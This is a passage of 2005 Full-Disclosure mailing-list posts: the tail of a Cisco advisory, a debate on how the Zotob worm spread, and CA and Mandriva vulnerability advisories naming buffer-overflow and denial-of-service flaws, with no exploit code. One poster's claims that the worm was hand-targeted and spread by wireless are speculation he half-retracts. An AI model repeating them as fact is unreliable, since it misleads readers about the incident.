Partners, authorized resellers, or service providers should contact that support organization for assistance with the upgrade, which should be free of charge. Customers without Service Contracts +-- Customers who purchase direct from Cisco but who do not hold a Cisco service contract and customers who purchase through third-party vendors but are unsuccessful at obtaining fixed software through their point of sale should get their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: [EMAIL PROTECTED] Please have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Please do not contact either [EMAIL PROTECTED] or [EMAIL PROTECTED] for software upgrades. See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Workarounds === As a security best practice, you should always configure your IPS device with a list of trusted hosts or networks that you want to have access to the IPS sensor. For more information on setting up
RE: [Full-disclosure] Zotob Worm Remover
Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. This worm isn't just proof, it is more proof. But everyone on the list is fully aware of the holes in corporate networks. Spear-phishing, custom modified keyloggers, rootkit/botnet drive by installs... This worm didn't proof anything new to any IT professional. -Todd -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of n3td3v Sent: Monday, August 22, 2005 11:30 AM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Zotob Worm Remover On 8/22/05, Todd Towles [EMAIL PROTECTED] wrote: Diabl0 will be happy to know that it just deletes the worm The worm is just proof that corporate security can be by-passed. It shows how hackers can target individuals within the enterprise and compromise their wireless device over the weekend while the corporate user is doing out of office work. The wireless devices were most likely the primary source of the spread. Media outlets are reporting wireless devices were only an accessory to the spread of the worm. Isn't it the case that this worm was carefully planned out and coordinated. Isn't it the case that the corporations hit were hand picked by the hacker. Isn't it the case that the hackers knew the owners of the wireless devices by name. Isn't it the case that more research and background work was done before releasing this to the affected enterprises than experts are reporting to the public at large. Corporations need to give all employees more advanced training in patching their personal wireless devices, which are being used over the weekend, and require them to be patched before the connect to corporate infrustructure on Monday morning, or during the weekend for those corporate users accessing the work place remotely from home. I think if the affected corporations don't learn from Zobtob then the same will happen again. Its vital enterprises now review policy in respect of this, as its becoming more common place that hackers are hitching a ride on wireless devices and hackers no longer need to worry about compromising corporate security, as unsuspecting employees are only too easy to target and infect, for the end game of allowing an infected device beyond the production servers and straight into the internal network of many of the big dot-com's. Its not completey clear who diabl0 is currently. Theres more than one diabl0 out on the web. A query on Google brings up indivduals posting on discussion forums, as well as a defacement group named diabl0, who funnily have been more than willing to submit their defacements to Zone-H. These guys have been around for a while and know what their doing is the generally impression I get. I don't know if diabl0 was clever enough to research and coordinate and target laptops to propogate the worm, but it would be only too easy to do in the future if someone is willing to put in enough preperation time into planning the assault on known employees of an enterprise. I've been watching too many movies and using illegal substances. Time for me to go now. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: FrSIRT False Alarm
Original Message From: Paul Message-Id: [EMAIL PROTECTED] Not to mention this is hardly even assembly. This is like really ghetto assembly. In REAL assembly, there would be no .if statements. It's all cmp blah blah, jz, jnz, etc. Lot's more work. Also, there is no such thing as .invoke MessageBox. Give me a break. In real assembly, that code would be about 5 times longer. Umm, this really just suggests that you aren't aware of the past thirty years worth of advances in assembler technology. Assemblers have had macro functionality since as far back as anyone can remember, your claim that a programmer should write everything out longhand is just ridiculous. It's like suggesting that nobody should use #define in C because it's cheating. And hey, don't use loops, write the instruction sequence over and over again by hand. Don't use subroutines either, that's cheating too! Of course, in my day, we had nothing but front panel switches, and we had to toggle them with our bare teeth, and father would make us get oop at six o'clock in 't morning and conduct electricity to computer using our own arms and legs for power cables cheers, DaveK -- Can't think of a witty .sigline today ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
On 8/22/05, Todd Towles [EMAIL PROTECTED] wrote: Wireless really isn't a issue. Thats your opinion, to me its the issue of today/tomorrow. Its the main way hackers are going to hack corporations in the future. It'll be the basis of many an incident for response teams to handle. You may not be on my mind set but i've been at this game a while now, and I try and warn corporations weekly of the threat of wireless hacking. Employees of Yahoo Inc have been taking pictures of cars outside at Sunnyvale, this is also a security risk for them. However Yahoo fail to see what I see, and thats a major breach in security where employees are helping hackers to identify cars belonging to employees/partners/day visitors and students who visit Yahoo. . http://www.flickr.com/photos/ycantpark Yahoo aren't doing an internal investigation into those behind this Flickr account and my calls for it to be shutdown have been ignored. New pictures are published periodically. The photos are ment to be showing cars in bad parking positions but the wireless threat outweighs that of bad parking. The owners of those cars didn't get a choice to weather thier car and number plates were published on the internet by Y employees who are ment to be responsible adults? Funnily the responsible adults did hide the telephone number of mission control but didn't see the problem in publishing the cars themselves and the number plates of those cars in full display on an intended public Flickr account. This issue has been on-going since an employee working for Yahoo Search published the link to the Flickr account on his high profile blog. Within hours of his blog entry being published I attempted to IM him to ask him to remove the entry, he ignored me. The media then picked up on the blog entry, but only running the story in the context the blog entry intended (bad parking), however no one to date, apart from me has raised security fears on the situation. After being ignored by the blog author, I later made attempts to contact Yahoo to have a full internal investigation into those employees behind the Flickr account. Those employees to this day remain anonymous, and updates to the Flickr account have been made, signaling that no actions behind the scenes have been taken to stop future photos of cars outside of Yahoo being published on the internet without full consent by the owner of the automobiles featured on the Flickr account. - The blog entry which sparked this off is still online to this day. - - The Flickr account is still being updated and no one is listening to my calls for it to be shutdown. - Security at Yahoo don't see the security threat posed here. I know different. - Its now August and i've been trying since June/July 2005 to get something done, before Yahoo gets hacked because of these Yahoo employees who are putting these pics online. - International hackers will end up using these pictures to compromise computers within Yahoo's HQ. - Don't wait for the worst to happen before something is done. Take preemptive measures now. - If you think this is off-topic from worms like Zotob, think again. - http://www.geocities.com/n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
problem was most of the laptop users are normally behind a firewall during the work week then go home on dial-up unprotected , then come back to work on monday :) btw vers. 1.1 is done that kills variants H and I .. http://illmob.org/0day/Zotob_Killer1.1.rar -- - illwill http://illmob.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] An old/new security list
thinking security-minded people always backed up their hdds daily :D On 8/22/05, TheGesus [EMAIL PROTECTED] wrote: Gee, Dave, isn't availability part of your security program? 2nd time this year, dude. On 8/22/05, Dave Aitel [EMAIL PROTECTED] wrote: Immunity suffered a hard drive problem, so if you were on this list: http://www.immunitysec.com/mailman/listinfo/dailydave , we invite you to resubscribe. We'll be announcing new versions of MOSDEF, SPIKE, SPIKE Proxy, and an all new unmidl.py as soon as we get our infrastructure ready. (It's easier to make new tarballs than to recover the old ones). There will probably also be discussions of Buffy the Vampire slayer, hand crafted IDL files for random MS services, lobster farms, flames, and the usual lot. Thanks, Dave Aitel Immunity, Inc. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- - illwill http://illmob.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: FrSIRT False Alarm
i made a killbit in 'assembly' too using all type of invokes and .if statements too why would i spend more than the 20 minutes i did on it using jmps jz mov etc .. i'd rather spend my friday night partying.. here's my binary and source http://illmob.org/0day/msdds.dll_deactivator.rar btw their is still ways around this killbit registry mod :D On 8/22/05, Dave Korn [EMAIL PROTECTED] wrote: Original Message From: Paul Message-Id: [EMAIL PROTECTED] Not to mention this is hardly even assembly. This is like really ghetto assembly. In REAL assembly, there would be no .if statements. It's all cmp blah blah, jz, jnz, etc. Lot's more work. Also, there is no such thing as .invoke MessageBox. Give me a break. In real assembly, that code would be about 5 times longer. Umm, this really just suggests that you aren't aware of the past thirty years worth of advances in assembler technology. Assemblers have had macro functionality since as far back as anyone can remember, your claim that a programmer should write everything out longhand is just ridiculous. It's like suggesting that nobody should use #define in C because it's cheating. And hey, don't use loops, write the instruction sequence over and over again by hand. Don't use subroutines either, that's cheating too! Of course, in my day, we had nothing but front panel switches, and we had to toggle them with our bare teeth, and father would make us get oop at six o'clock in 't morning and conduct electricity to computer using our own arms and legs for power cables cheers, DaveK -- Can't think of a witty .sigline today ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- - illwill http://illmob.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
Umm..you mean like my article I wrote last year - http://myitforum.techtarget.com/articles/16/view.asp?id=7410 You stated that wireless is the main reason that the worm got into networks. Wireless not nothing to do with the spread of the worm, worms spread on unpatched machines..they can be on thicknet or Internet2..it isn't matter the access medium. Tried of talking about this already... -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of n3td3v Sent: Monday, August 22, 2005 2:01 PM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Zotob Worm Remover On 8/22/05, Todd Towles [EMAIL PROTECTED] wrote: Wireless really isn't a issue. Thats your opinion, to me its the issue of today/tomorrow. Its the main way hackers are going to hack corporations in the future. It'll be the basis of many an incident for response teams to handle. You may not be on my mind set but i've been at this game a while now, and I try and warn corporations weekly of the threat of wireless hacking. Employees of Yahoo Inc have been taking pictures of cars outside at Sunnyvale, this is also a security risk for them. However Yahoo fail to see what I see, and thats a major breach in security where employees are helping hackers to identify cars belonging to employees/partners/day visitors and students who visit Yahoo. . http://www.flickr.com/photos/ycantpark Yahoo aren't doing an internal investigation into those behind this Flickr account and my calls for it to be shutdown have been ignored. New pictures are published periodically. The photos are ment to be showing cars in bad parking positions but the wireless threat outweighs that of bad parking. The owners of those cars didn't get a choice to weather thier car and number plates were published on the internet by Y employees who are ment to be responsible adults? Funnily the responsible adults did hide the telephone number of mission control but didn't see the problem in publishing the cars themselves and the number plates of those cars in full display on an intended public Flickr account. This issue has been on-going since an employee working for Yahoo Search published the link to the Flickr account on his high profile blog. Within hours of his blog entry being published I attempted to IM him to ask him to remove the entry, he ignored me. The media then picked up on the blog entry, but only running the story in the context the blog entry intended (bad parking), however no one to date, apart from me has raised security fears on the situation. After being ignored by the blog author, I later made attempts to contact Yahoo to have a full internal investigation into those employees behind the Flickr account. Those employees to this day remain anonymous, and updates to the Flickr account have been made, signaling that no actions behind the scenes have been taken to stop future photos of cars outside of Yahoo being published on the internet without full consent by the owner of the automobiles featured on the Flickr account. - The blog entry which sparked this off is still online to this day. - - The Flickr account is still being updated and no one is listening to my calls for it to be shutdown. - Security at Yahoo don't see the security threat posed here. I know different. - Its now August and i've been trying since June/July 2005 to get something done, before Yahoo gets hacked because of these Yahoo employees who are putting these pics online. - International hackers will end up using these pictures to compromise computers within Yahoo's HQ. - Don't wait for the worst to happen before something is done. Take preemptive measures now. - If you think this is off-topic from worms like Zotob, think again. - http://www.geocities.com/n3td3v ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] 32919 - Computer Associates Message Queuing (CAM/CAFT) multiple vulnerabilities
Title: 32919 - Computer Associates Message Queuing (CAM/CAFT) multiple vulnerabilities CA Vulnerability ID: CAID 32919 Disclosure Date: 2005-08-19 Discovered By: CA internal audit Impact: Remote attackers can execute arbitrary code, or cause a denial of service condition. Summary: During a recent internal audit, CA discovered several vulnerability issues in the CA Message Queuing (CAM / CAFT) software. 1) Attackers can potentially exploit a CAM TCP port vulnerability to execute a Denial of Service (DoS) attack. 2) Attackers can potentially exploit multiple buffer overflow conditions to execute arbitrary code remotely with elevated privileges. 3) Attackers can potentially launch a spoofed CAFT attack, and execute arbitrary commands with elevated privileges. CA has made patches available for all affected users. These vulnerabilities affect all versions of the CA Message Queuing software prior to v1.07 Build 220_13 and v1.11 Build 29_13 on the platforms specified below. Severity: Computer Associates has given this vulnerability a High risk rating. Determining CAM versions: Simply running camstat will return the version information in the top line of the output on any platform. The camstat program is located in the bin subfolder of the installation directory. The example below indicates that CAM version 1.11 build 27 increment 2 is running. E:\camstat CAM - machine.ca.com Version 1.11 (Build 27_2) up 0 days 1:16 Determining the CAM install directory: Windows: the install location is specified by the %CAI_MSQ% environment variable. Unix/Linux/Mac: the /etc/catngcampath text file holds the CAM install location. Affected products: Unicenter Performance Management for OpenVMS r2.4 SP3 AdviseIT 2.4 Advantage Data Transport 3.0 BrightStor SAN Manager 1.1, 1.1 SP1, 1.1 SP2, 11.1 BrightStor Portal 11.1 CleverPath OLAP 5.1 CleverPath ECM 3.5 CleverPath Predictive Analysis Server 2.0, 3.0 CleverPath Aion 10.0 eTrust Admin 2.01, 2.04, 2.07, 2.09, 8.0, 8.1 Unicenter Application Performance Monitor 3.0, 3.5 Unicenter Asset Management 3.1, 3.2, 3.2 SP1, 3.2 SP2, 4.0, 4.0 SP1 Unicenter Data Transport Option 2.0 Unicenter Enterprise Job Manager 1.0 SP1, 1.0 SP2 Unicenter Jasmine 3.0 Unicenter Management for WebSphere MQ 3.5 Unicenter Management for Microsoft Exchange 4.0, 4.1 Unicenter Management for Lotus Notes/Domino 4.0 Unicenter Management for Web Servers 5, 5.0.1 Unicenter NSM 3.0, 3.1 Unicenter NSM Wireless Network Management Option 3.0 Unicenter Remote Control 6.0, 6.0 SP1 Unicenter Service Level Management 3.0, 3.0.1, 3.0.2, 3.5 Unicenter Software Delivery 3.0, 3.1, 3.1 SP1, 3.1 SP2, 4.0, 4.0 SP1 Unicenter TNG 2.1, 2.2, 2.4, 2.4.2 Unicenter TNG JPN 2.2 Affected platforms: AIX, DG Intel, DG Motorola, DYNIX, OSF1, HP-UX, IRIX, Linux Intel, Linux s/390, Solaris Intel, Solaris Sparc, UnixWare, Windows, Apple Mac, AS/400, MVS, NetWare, OS/2, and OpenVMS. Status: Patches that completely remediate this vulnerability issue are available for all affected products. Recommendation (note that URLs may wrap): CA strongly recommends application of the appropriate patch(es). Fixes for CAM v1.11 prior to Build 29_13: http://supportconnectw.ca.com/public/ca_common_docs/camsecurity_cam111fi xes.asp Windows QO71014 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7101 4 AIX QO71015 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7101 5 HPUX QO71016 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7101 6 Linux QO71019 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7101 9 QO71020 (RPM_i386) http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 0 QO71021 (RPM_ia64) http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 1 LinuxS390 QO71031 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7103 1 MacOSX QO71022 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 2 NetWare QO71023 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 3 OSF1 QO71024 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 4 SCO QO71025 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 5 Solaris QO71026 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 6 SolarisIntel QO71027 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7102 7 Fixes for CAM v1.07 prior to Build 220_13 and Fixes for CAM v1.05 (any version): http://supportconnectw.ca.com/public/ca_common_docs/camsecurity_cam107fi xes.asp Windows QO71033 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7103 3 AIX QO71035 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7103 5 AS/400 On Request http://supportconnect.ca.com DGIntel QO71036 http://supportconnect.ca.com/sc/redir.jsp?reqPage=searchsearchID=QO7103 6 DGM88K QO71037
RE: [Full-disclosure] Zotob Worm Remover
On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
This is correct for the first day, maybe two. Then unpatched laptops leave the corporate network, hit the internet outside the firewall and then bring the worm back right to the heart of the network the very next day, bypassing the firewall all together. Firewall is just one step..it isn't a solve all. Patching would be the only way to stop this threat in all vectors. That was my point. If you aren't blocking 445 on the border of your network, you have must worse problems with Zotob. -Original Message- From: Ron DuFresne [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 3:15 PM To: Todd Towles Cc: n3td3v; full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
Todd, i would have to disagree with you on this issue, patching in my book is not any kind of definite answer to these types of problems, endpoint behaviour security is something that I lean more towards. This would enable you to define a set of generic behavioural patterns for processes running on your machine, and would be a much better defence against things you don't know about yet. I myself have an agent with a few basic O/S rules like : - No application may write other applications memory space - No application may inject code into other programs (dll hooks and such) - No application may access system functions from code executing in data or stack space - No application may capture keystrokes This does quite abit to protect my laptop from unknown attacks, since in my findings, this is the way most (if not all) attacks enter a host. I would tell you what software I use but that would make this more of a sales bulletin than an actual security related opinion. just my 2 cents Jan -Original Message- From: Todd Towles [mailto:[EMAIL PROTECTED] Sent: 22. august 2005 22:22 To: Ron DuFresne Cc: full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover This is correct for the first day, maybe two. Then unpatched laptops leave the corporate network, hit the internet outside the firewall and then bring the worm back right to the heart of the network the very next day, bypassing the firewall all together. Firewall is just one step..it isn't a solve all. Patching would be the only way to stop this threat in all vectors. That was my point. If you aren't blocking 445 on the border of your network, you have must worse problems with Zotob. -Original Message- From: Ron DuFresne [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 3:15 PM To: Todd Towles Cc: n3td3v; full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
It seems to me that the attack was less than a week old from the start date. Default settings on a relatively unchanged box would provide a suitable window of opportunity given the availability of the worm to the deployer. This is more important than network connectivity, which is not of security concern as this is not the exploited layer. Disconnecting networks is what you suggest when you're in trouble, not when you're trying to maintain the daily balance of cost vs function. Moreover, wireless is recieving the blame - however this will only continue whilst your laptop is the device you are using. Eventually will you blame the mobile phone companies for allowing dangerous traffic to flow through the repeaters? What about sattelite links - should we filter those and knock the latency up another notch? No, it's the software, once again. Connectivity increases exposure, it doesn't decrease security - the two are not one and the same. 1000 laptops in a city centre network becoming infected less than a week from update release would be unsuprising (read: defaults are once a week at 3). The security of these laptops was not compromised by the wireless presence, it was a medium of travel only. Now lets say, we go back in time and remove all of the wireless NIC's. Now, there are only 750 laptops cause we can't generate as much revenue (joke), and of these they're all still connected, just with a different medium. The medium is (specification)centralised and routable in the same manner (ah, so the medium can have 'implications' ;) - the infection rate is the same. Why? because they are all connected. It's BEING CONNECTED not BEING WIRELESS that's the issue here. Yes you may argue, pointlessly however, that wireless has increased average connectivity, however once again, this is only a medium. It's business/personal drive that requires connectedness, not the technology itself. Todd Towles wrote: This is correct for the first day, maybe two. Then unpatched laptops leave the corporate network, hit the internet outside the firewall and then bring the worm back right to the heart of the network the very next day, bypassing the firewall all together. Firewall is just one step..it isn't a solve all. Patching would be the only way to stop this threat in all vectors. That was my point. If you aren't blocking 445 on the border of your network, you have must worse problems with Zotob. -Original Message- From: Ron DuFresne [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 3:15 PM To: Todd Towles Cc: n3td3v; full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
James, I agree with you. It was n3td3v that stated the following - The wireless devices were most likely the primary source of the spread. Media outlets are reporting wireless devices were only an accessory to the spread of the worm. I agree with Jan, that host based IPS could have stopped this. Cisco's CSA is a good example of this type of technology. Host based IPS system are commonly seen as anti-rootkit solutions, which is also a very very good thing to have. But patch management should not be overlooked just because you have a host IPS. The host IPS will give you time to patch, but patch management is the last line of defense for vulns. I never said it should be the first or only line of defense. I am very firm believer in the defense in depth methodology. -Todd -Original Message- From: James Tucker [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 4:08 PM To: Todd Towles Cc: Ron DuFresne; full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Zotob Worm Remover It seems to me that the attack was less than a week old from the start date. Default settings on a relatively unchanged box would provide a suitable window of opportunity given the availability of the worm to the deployer. This is more important than network connectivity, which is not of security concern as this is not the exploited layer. Disconnecting networks is what you suggest when you're in trouble, not when you're trying to maintain the daily balance of cost vs function. Moreover, wireless is recieving the blame - however this will only continue whilst your laptop is the device you are using. Eventually will you blame the mobile phone companies for allowing dangerous traffic to flow through the repeaters? What about sattelite links - should we filter those and knock the latency up another notch? No, it's the software, once again. Connectivity increases exposure, it doesn't decrease security - the two are not one and the same. 1000 laptops in a city centre network becoming infected less than a week from update release would be unsuprising (read: defaults are once a week at 3). The security of these laptops was not compromised by the wireless presence, it was a medium of travel only. Now lets say, we go back in time and remove all of the wireless NIC's. Now, there are only 750 laptops cause we can't generate as much revenue (joke), and of these they're all still connected, just with a different medium. The medium is (specification)centralised and routable in the same manner (ah, so the medium can have 'implications' ;) - the infection rate is the same. Why? because they are all connected. It's BEING CONNECTED not BEING WIRELESS that's the issue here. Yes you may argue, pointlessly however, that wireless has increased average connectivity, however once again, this is only a medium. It's business/personal drive that requires connectedness, not the technology itself. Todd Towles wrote: This is correct for the first day, maybe two. Then unpatched laptops leave the corporate network, hit the internet outside the firewall and then bring the worm back right to the heart of the network the very next day, bypassing the firewall all together. Firewall is just one step..it isn't a solve all. Patching would be the only way to stop this threat in all vectors. That was my point. If you aren't blocking 445 on the border of your network, you have must worse problems with Zotob. -Original Message- From: Ron DuFresne [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 3:15 PM To: Todd Towles Cc: n3td3v; full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia -
[Full-disclosure] MDKSA-2005:145 - Updated openvpn packages fix several vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Update Advisory ___ Package name: openvpn Advisory ID:MDKSA-2005:145 Date: August 22nd, 2005 Affected versions: Multi Network Firewall 2.0 __ Problem Description: A number of vulnerabilities were discovered in OpenVPN that were fixed in the 2.0.1 release: A DoS attack against the server when run with verb 0 and without tls-auth when a client connection to the server fails certificate verification, the OpenSSL error queue is not properly flushed. This could result in another unrelated client instance on the server seeing the error and responding to it, resulting in a disconnection of the unrelated client (CAN-2005-2531). A DoS attack against the server by an authenticated client that sends a packet which fails to decrypt on the server, the OpenSSL error queue was not properly flushed. This could result in another unrelated client instance on the server seeing the error and responding to it, resulting in a disconnection of the unrelated client (CAN-2005-2532). A DoS attack against the server by an authenticated client is possible in dev tap ethernet bridging mode where a malicious client could theoretically flood the server with packets appearing to come from hundreds of thousands of different MAC addresses, resulting in the OpenVPN process exhausting system virtual memory (CAN-2005-2533). If two or more client machines tried to connect to the server at the same time via TCP, using the same client certificate, a race condition could crash the server if --duplicate-cn is not enabled on the server (CAN-2005-2534). This update provides OpenVPN 2.0.1 which corrects these issues as well as a number of other bugs. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2531 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2532 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2533 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2534 __ Updated Packages: Multi Network Firewall 2.0: 20daf4b6f9dbc1c53f3b4f4d375262d4 mnf/2.0/RPMS/openvpn-2.0.1-0.1.M20mdk.i586.rpm a92bbc0c8285fecfbe3f439d18a62580 mnf/2.0/SRPMS/openvpn-2.0.1-0.1.M20mdk.src.rpm ___ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) 